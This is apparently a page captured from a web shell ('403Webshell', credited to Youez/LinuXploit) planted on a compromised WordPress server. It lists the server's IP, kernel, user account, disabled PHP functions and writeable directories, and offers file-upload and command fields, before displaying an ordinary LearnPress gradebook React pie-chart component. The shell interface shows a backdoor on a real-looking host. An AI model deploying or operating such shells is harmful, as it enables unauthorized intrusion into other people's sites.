403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components/chart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress-gradebook/src/components/chart/piechart.js
import { __ } from '@wordpress/i18n';
import { useState, useEffect } from '@wordpress/element';
import { addQueryArgs } from '@wordpress/url';
import apiFetch from '@wordpress/api-fetch';
import { Spinner } from '@wordpress/components';
import { Pie } from 'react-chartjs-2';

export default function PieChartStudent( { courseID } ) {
	const [ data, setData ] = useState( '' );
	const [ loading, setLoading ] = useState( false );
	const [ totalEnroll, setTotalEnroll ] = useState( 0 );
	const [ totalFinished, setTotalFinished ] = useState( 0 );

	useEffect( () => {
		setLoading( true );

		try {
			async function getResponse() {
				const response = await apiFetch( {
					path: addQueryArgs( 'lp-gradebook/get-pie-chart-student', { courseID } ),
					method: 'GET',
				} );

				setTotalEnroll( response.data.datasets.data[ 0 ] ? parseInt( response.data.datasets.data[ 0 ] ) : 0 );
				setTotalFinished( response.data.datasets.data[ 0 ] ? parseInt( response.data.datasets.data[ 1 ] ) : 0 );

				setData( {
					labels: response.data.labels,
					datasets: [
						{
							data: response.data.datasets.data,
							backgroundColor: response.data.datasets.backgroundColor,
							borderColor: response.data.datasets.borderColor,
						},
					],
				} );

				setLoading( false );
			}

			getResponse();
		} catch ( e ) {
			setData( '' );
			setLoading( false );
		}
	}, [ courseID ] );

	return (
		<div className="detail-chart">
			<div className="ct-chart">
				<div className={ `${ loading ? 'ct-left detail-chart__loading' : 'ct-left' }` }>
					<Pie data={ data } height={ 160 } />

					{ loading && <Spinner /> }
				</div>
				<div className="ct-right">
					<p>{ __( 'Total students enrolled:', 'learnpress-gradebook' ) } <b>{ totalEnroll }</b></p>
					<p>{ __( 'Total students finished:', 'learnpress-gradebook' ) } <b>{ totalFinished }</b></p>
					<p>{ __( 'Total:', 'learnpress-gradebook' ) } <b>{ totalFinished + totalEnroll }</b></p>
				</div>
			</div>
			<div className="title-chart">
				<h3>{ __( 'Chart 2:', 'learnpress-gradebook' ) }</h3>
				<p>{ __( 'All students registered and finished the course', 'learnpress-gradebook' ) }</p>
			</div>
		</div>
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit